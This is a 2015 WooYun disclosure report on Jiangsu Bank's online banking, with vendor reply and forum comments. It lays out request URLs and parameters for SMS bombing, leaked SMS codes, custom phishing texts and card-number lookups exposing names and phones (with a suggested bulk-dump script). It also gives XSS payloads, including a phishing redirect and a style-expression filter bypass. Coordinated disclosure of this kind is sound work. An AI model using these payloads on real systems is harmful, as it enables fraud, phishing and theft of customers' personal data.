金融小能手之江苏银行(测评漏洞打包)

漏洞概要

缺陷编号:WooYun-2015-0123530

漏洞标题:金融小能手之江苏银行(测评漏洞打包)

相关厂商:江苏银行

漏洞作者:咚咚呛

提交时间:2015-07-02 15:26

公开时间:2015-08-17 08:38

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2015-07-02: 细节已通知厂商并且等待厂商处理中
2015-07-03: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向核心白帽子及相关领域专家公开
2015-07-23: 细节向普通白帽子公开
2015-08-02: 细节向实习白帽子公开
2015-08-17: 细节向公众公开

简要描述:

越权查询、自定义钓鱼短信、文件上传等等。
出差忙了将近3周了快,一周腾不出空来写报告,现在终于有时间了。一直在建议乌云提供个上传word或者提交附件的功能,直接把报告给提交了,会生了好多工夫。

详细说明:

一共11处风险,高中低依次排序。如下:1、(1)任意手机好无线发送短信(短信炸弹)功能点:个人贷款 > 我要借款 > 税e融链接:https://**.**.**.**/newperbank/sendMobilePwdForApply.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS参数:mobileNo修改参数mobileNo为手机号可以无限制发送短信,比如我修改为我自己的手机号,如图:

另:换成其他号码也可正常发送,且没有数量限制。2、(2)任意手机好无线发送短信(这地方有俩风险)功能点:签约中心 > 手机银行链接:https://**.**.**.**/newperbank/sendMbInfoModifyPass.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS参数:mobileNo修改参数mobileNo为手机号可以无限制发送短信,比如我修改为任意手机号,如图:

1)此处可以任意指定手机号无限发送手机短信,没有间隔。

2)可以从数据包返回值得到验证码,绕过手机验证。搞不懂为啥子要把短信给response。如图:

3、(3)任意手机好无线发送短信(这地方有俩风险)功能点:签约中心 > 动账短信通知链接:https://**.**.**.**/newperbank/sendAccountNotifyPassword.do?EMP_SID=EOFWIPDTILCIJLHGHAJCIGBIDZIIJJEEEBCQFCBW参数:mobileNo修改参数mobileNo为手机号可以无限制发送短信,其可以得到发送的短信内容即验证码,且可以批量发送。如图:

4、看我玩转钓鱼(短息任意设置)功能:客户服务 > 安全设置 > 私密信息修改链接:https://**.**.**.**/newperbank/sendMobilePassword.do?EMP_SID=FMIOEEBNCRFKISGVFUCPCFCYAZDXDCBOELBYCKDA测试发现,添加参数名称,可以自定义短信,比如msgType表示类型,比如msgType设置为1时,特别适合钓鱼短信,比如参数设置:msgType=1&payAccount=22222&recAccount=0246&recAccountName=6228760005****40246&payAmount=10000%E5%85%83%E5%A6%82%E6%9C%89%E9%97%AE%E9%A2%98%E8%AF%B7%E8%AE%BF%E9%97%AE http://**.**.**.**%20&totalNum=1

当然这里也可以当成短信炸弹一直发。以上4处风险都为短信类型风险,地址不一样,参数大体相同。5、文件上传说明:这个也算是个风险,但是确实没成功。简单说就是文件过滤不严格,我饶了半个点,没绕过去,但感觉确实是个问题,细节看下面。功能点:客户服务 > 网银设置 > 个人资料修改

链接:https://**.**.**.**/newperbank/userIconUpload.do数据包如图:

经过多次测试发现,文件地址跟账户有关,我这里上传的固定文件地址为:https://**.**.**.**/newperbank/images/selfIcon/1002231589.jpg就是说我传啥,只要成功,名字就是1002231589,如图:我上传文件名1.jpgtxt

然后正常传上去了正常访问,链接:https://**.**.**.**/newperbank/images/selfIcon/1002231589.jpgtxt

经过我鼓捣半个点,它的判断流程好像是,搜索最后一个“.”然后判断“.”后面的3位字符,是否是图片后缀,如果是则提取.jpg后的所有字符作为后缀,比如1.txt.jpga,它提取后缀为.jpga,功力不够绕不过去了,不过风险肯定存在了,没准谁就给绕过去了。6、根据银行卡号查询敏感信息(1)功能点:转账汇款>大额转账维护连接:https://**.**.**.**/newperbank/002028_cstinfoQuery.do参数:recAccount=6228760205000897070 此处为银行卡号可以通过银行卡号查询姓名电话等敏感信息,如图:

大量跑下数据,比如跑1000条数据,如图:

然后可以写个脚本脱卡号、姓名、电话信息库了。7、根据银行卡号查询敏感信息(2)功能点:转账汇款>定向转账维护连接:https://**.**.**.**/newperbank/002027_QueryCustInfo.do参数:recAccount=6228760205000897070 此处为银行卡号跟上个,达到效果一样,但是地址和链接不同,可以通过银行卡号查询姓名电话等敏感信息,如图:

8、xss跨站脚本(篡改js流程)功能点:账户管理 > 跨行账户管理 > 申请他行账户查询链接:https://**.**.**.**/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";alert(1);//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:

再或者执行js跳转到钓鱼网站:https://**.**.**.**/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";window.location.href="http://**.**.**.**";//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=029、xss跨站脚本(篡改js流程)功能点:账户管理 > 跨行账户管理 > 申请他行账户查询链接:https://**.**.**.**/newperbank/110102_3_confirm.do?EMP_SID=DAAFBDHSDAAGCBGXEQEVGJFVEFAOIPHPHHEXCYIY&qdfs=0&fqjg=313301099999&jsjg=102100099996&dsfkhh=111111111111";alert(1);//&fkrkhhh=102100099996&fkrzh=0&fkrmc=0&fkrzhlx=0&khh=1240748232&skrzh=6228762005000141380&skrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&skrkhhh=313301099999&ywzl=00100&khfwh=1240748232&dbjesx=&rljbssx=&rljjesx=&yljbssx=&yljjesx=&sxrq=&gqrq=&fkrlxdh=&xdzhlx=TL01&sxf=&fy=test&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:

10、xss跨站脚本(绕过安全防护)功能:账户管理 > 跨行账户管理 > 授权本行账户查询说明:此处跟上两出不太一样,上两处所说在系统上经常出现,但是属于那种修改js流程的缺陷,但此处就是过滤严重不足了。跟框架整体过滤有关。其实测到上面的功能也能发现这个,起初以为过滤了,就没多绕,我的固定思维“我只找程序员忽略的店”,不过后来还是手贱测了测,发现只顾虑了><,瞬间脑子俩次“成了”。

测试发现之过滤了><,如图:

真的就是1秒绕过,我会骗你?改成GET如下:https://**.**.**.**/newperbank/110102_2_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&bcxhh=313301099999&bcxrzh=6228762005000141380&bcxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&bcxrzhlx=1&cxhh=102100099996&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C&cxrzh=6228760005000040246&cxrmc=testa"%20style="width:expression(alert(1));%20"&xdfkzhlx=&sxf=&dsfkhh=1240748232&fy=bbbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02注意参数:cxrmc=testa"%20style="width:expression(alert(1));%20"

11、xss跨站脚本(绕过安全防护)功能点:账户管理 > 跨行账户管理 > 授权本行账户支付连接:https://**.**.**.**/newperbank/110102_4_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&dsfkhh=6228760005000040246&fkrkhhh=313301099999&fkrzh=6228762005000141380&fkrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&fkrzhlx=1&khh=1240748232&skrzh=6228760005000040246&skrmc=testaa"%20style="width:expression(alert(1));%20"&skrkhhh=102100099996&ywzl=00100&khfwh=6228760005000040246&dbjesx=123.00&rljbssx=123&rljjesx=123.00&yljbssx=123&yljjesx=123.00&sxrq=20150628&gqrq=20150630&fkrlxdh=88888888&xdzhlx=&sxf=&fy=bbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C

漏洞证明:

上面很详细了。还是总结下撒:江苏银行整体安全欠佳,多处表现在短信发送、越权查询、XSS跨站等。系统其实本身的越权防护机制还是听完善的,不过可能疏忽还是业务需要,造成了用户信息泄露。针对XSS防护则存在有明显的缺陷,比如只过滤了><,对双引号、单引号等都为防护,导致基本通杀,上面漏洞提到的4出风险只是我简单写的,只起到提醒作用,系统中存在大量xss,请注意。我以上只是简单测试了一下,由于是测试卡很多数据都不存在,对测试会造成很大影响。所以希望行方谨慎对待。

修复方案:

其实这些漏洞你们应该经常修复才对。原理搞清了,程序员还是很给力的,要相信自己的工程师。

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-0308:36

厂商回复:

感谢对江苏银行信息安全的关注。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 hh2014 白帽子 | Rank:41 漏洞数:4)

    这么晚了还有人在审核哦

  2. 2010-01-01 00:00 牛 小 帅 白帽子 | Rank:407 漏洞数:34)

    提交报告 看起来费事

  3. 2010-01-01 00:00 qhwlpg 白帽子 | Rank:141 漏洞数:13)

    。。。确定能提到乌云上?

  4. 2010-01-01 00:00 咚咚呛 白帽子 | Rank:231 漏洞数:24)

    @qhwlpg 啥子?

  5. 2010-01-01 00:00 prolog 白帽子 | Rank:518 漏洞数:59)

    @咚咚呛 不会被查水表么

  6. 2010-01-01 00:00 咚咚呛 白帽子 | Rank:231 漏洞数:24)

    @prolog 国内的都玩遍了,等搞到国外的账户,就开始异界之旅了

  7. 2010-01-01 00:00 咚咚呛 白帽子 | Rank:231 漏洞数:24)

    11处风险,没有低危,绝大多数高危,你给10分?不知道是厂商不负责任还压根就不懂,还是真的是我错了,不该这样提风险集合。
    现在不是分的问题了,就凭你这态度,我是不是真的要把漏洞拆了一个个发送给你。

  8. 2010-01-01 00:00 咚咚呛 白帽子 | Rank:231 漏洞数:24)

    @xsser @疯狗 是我太天真了?

  9. 2010-01-01 00:00 fuzz-ing 白帽子 | Rank:75 漏洞数:8)

    @咚咚呛 是你太认真了

  10. 2010-01-01 00:00 zsmj 白帽子 | Rank:169 漏洞数:12)

    入戏太深

  11. 2010-01-01 00:00 mantis 白帽子 | Rank:49 漏洞数:4)

    入戏太深,说吧,你想要什么礼物

  12. 2010-01-01 00:00 Burn Egg 白帽子 | Rank:72 漏洞数:6)

    不知道没有低危是怎么出来的,xss需要考虑利用场景,通用性等,报告有些夸大,比如短信,同一个参数不同位置这个能算很多个洞?而这个如果算高危的话,那getshell算什么。。xss里style属性只有低版本ie才行吧,而且只看报告里的场景,有点怀疑是否有self-xss。上传的地方并没有绕过,只是猜测也算高危?并没有否认白帽认真程度,但是成果及危害并没有描述的那么大。

  13. 2010-01-01 00:00 kv2 白帽子 | Rank:0 漏洞数:0)

    @Burn Egg 光可以拖卡号手机姓名库一条就可以是高危了吧